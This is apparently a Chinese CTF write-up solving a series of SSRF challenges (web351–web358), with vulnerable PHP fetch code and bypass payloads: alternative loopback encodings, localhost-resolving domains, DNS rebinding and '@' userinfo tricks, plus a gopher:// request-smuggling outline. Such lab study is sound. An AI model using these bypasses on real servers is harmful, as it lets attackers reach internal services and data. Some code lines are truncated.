知识点:
SSRF攻击点
1 2 3 4 5 6 7 8 9
| <?php $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); ?>
|
- curl_init(): 初始curl会话
- curl_setopt(): 会话设置
- curl_exec(): 执行curl会话,获取内容
- curl_close(): 会话关闭
gopher协议
通过gopher协议,将请求体用url编码后加上任意字符,一般是下划线,接上gopher的url即可执行GET、POST请求
1
| gopher://ip:port/_[stream]
|
web351
1 2 3 4 5 6 7 8 9 10 11
| <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?>
|
先进入flag.php看看

payload:
1 2
| POST url=http://127.0.0.1/flag.php
|
web352
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|127.0.0/')){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>
|
可以看到代码中有个正则匹配,但它并没有参数
parse_url()函数解析 URL 并返回关联数组,包含在 URL 中出现的各种组成部分。数组的元素值不会 URL 解码。
示例
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php $url = 'http:
var_dump(parse_url($url)); var_dump(parse_url($url, PHP_URL_SCHEME)); var_dump(parse_url($url, PHP_URL_USER)); var_dump(parse_url($url, PHP_URL_PASS)); var_dump(parse_url($url, PHP_URL_HOST)); var_dump(parse_url($url, PHP_URL_PORT)); var_dump(parse_url($url, PHP_URL_PATH)); var_dump(parse_url($url, PHP_URL_QUERY)); var_dump(parse_url($url, PHP_URL_FRAGMENT)); ?>
|
以上示例会输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| array(8) { ["scheme"]=> string(4) "http" ["host"]=> string(8) "hostname" ["port"]=> int(9090) ["user"]=> string(8) "username" ["pass"]=> string(8) "password" ["path"]=> string(5) "/path" ["query"]=> string(9) "arg=value" ["fragment"]=> string(6) "anchor" } string(4) "http" string(8) "username" string(8) "password" string(8) "hostname" int(9090) string(5) "/path" string(9) "arg=value" string(6) "anchor"
|
最上面两个if感觉在本题都没什么作用
payload:
1
| url=http://127.0.0.1/flag.php
|
根据parse_url()函数的解析,这题还有各种姿势获得flag
- 127.1会被解析成127.0.0.1,也就意味着为零可缺省
- 在Linux中,0也会被解析成127.0.0.1
- 127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost
- ip地址还可以通过表示成其他进制的形式访问,IP地址二进制、十进制、十六进制互换
1 2 3 4
| url=http://127.1/flag.php url=http://0/flag.php url=http://127.255.255.254/flag.php url=http://2130706433/flag.php
|
web353
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|127\.0\.|\。/i', $url)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>
|
这题正则加了url参数
代表这我们不能直接127.0.0.1/flag.php输入了
但是我们可以和上题一样把127.0.0.1转换为十进制
payload:
1
| url=http://2130706433/flag.php
|
web354
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|1|0|。/i', $url)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>
|
可恶啊😡,竟然过滤了0和1,这代表着上面的方法都不能用了
直接搜索指向127.0.0.1的域名,直接拿来套着用
传送门
payload:
1
| url=http://localtest.me/flag.php
|
web355
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $host=$x['host']; if((strlen($host)<=5)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>
|
host 长度小于等于5
用前面的办法即可
payload:
1 2
| url=127.1/flag.php url=0/flag.php
|
web356
不贴代码了,同上,本题host len小于等于3
payload:
web357
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $ip = gethostbyname($x['host']); echo '</br>'.$ip.'</br>'; if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die('ip!'); }
echo file_get_contents($_POST['url']); } else{ die('scheme'); } ?>
|
这题有两种解法——302跳转和dns重绑定
但是本题题解只放一种(还没搞懂VPS🥶)
网址送上
dns重绑定
dns rebinding里第一个域名随意,第二个域名为自己的

把域名换为identifier里的内容,域名前面要加r.
需要多试几次
payload:
1 2
| url=http://r.****/flag.php
|

web358
1 2 3 4 5 6 7 8
| <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){ echo file_get_contents($url); }
|
正则表达式字符
^ :匹配输入字符串的开始位置。如果设置了 RegExp 对象的 Multiline 属性,^ 也匹配 ‘/n’ 或 ‘/r’ 之后的位置。
$ :匹配输入字符串的结束位置。如果设置了RegExp 对象的 Multiline 属性,$ 也匹配 ‘/n’ 或 ‘/r’ 之前的位置。
/..* :匹配前面的子表达式零次或多次。例如,zo* 能匹配 “z” 以及 “zoo”。* 等价于{0,}。
所以,正则表达式表明以http://ctf.
开始,以show结尾
payload:
1 2 3
| url=http://ctf.@127.0.0.1/flag.php?show or url=http://ctf.@127.0.0.1/flag.php
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php $url = 'http://username:password@hostname:9090/path?arg=value#anchor';
var_dump(parse_url($url)); var_dump(parse_url($url, PHP_URL_SCHEME)); var_dump(parse_url($url, PHP_URL_USER)); var_dump(parse_url($url, PHP_URL_PASS)); var_dump(parse_url($url, PHP_URL_HOST)); var_dump(parse_url($url, PHP_URL_PORT)); var_dump(parse_url($url, PHP_URL_PATH)); var_dump(parse_url($url, PHP_URL_QUERY)); var_dump(parse_url($url, PHP_URL_FRAGMENT)); ?>
array(8) { ["scheme"]=> string(4) "http" ["host"]=> string(8) "hostname" ["port"]=> int(9090) ["user"]=> string(8) "username" ["pass"]=> string(8) "password" ["path"]=> string(5) "/path" ["query"]=> string(9) "arg=value" ["fragment"]=> string(6) "anchor" } string(4) "http" string(8) "username" string(8) "password" string(8) "hostname" int(9090) string(5) "/path" string(9) "arg=value" string(6) "anchor"
|
当parse_url()解析到邮箱时:@前面是user
file_get_contents()会访问host:port/path,与user无关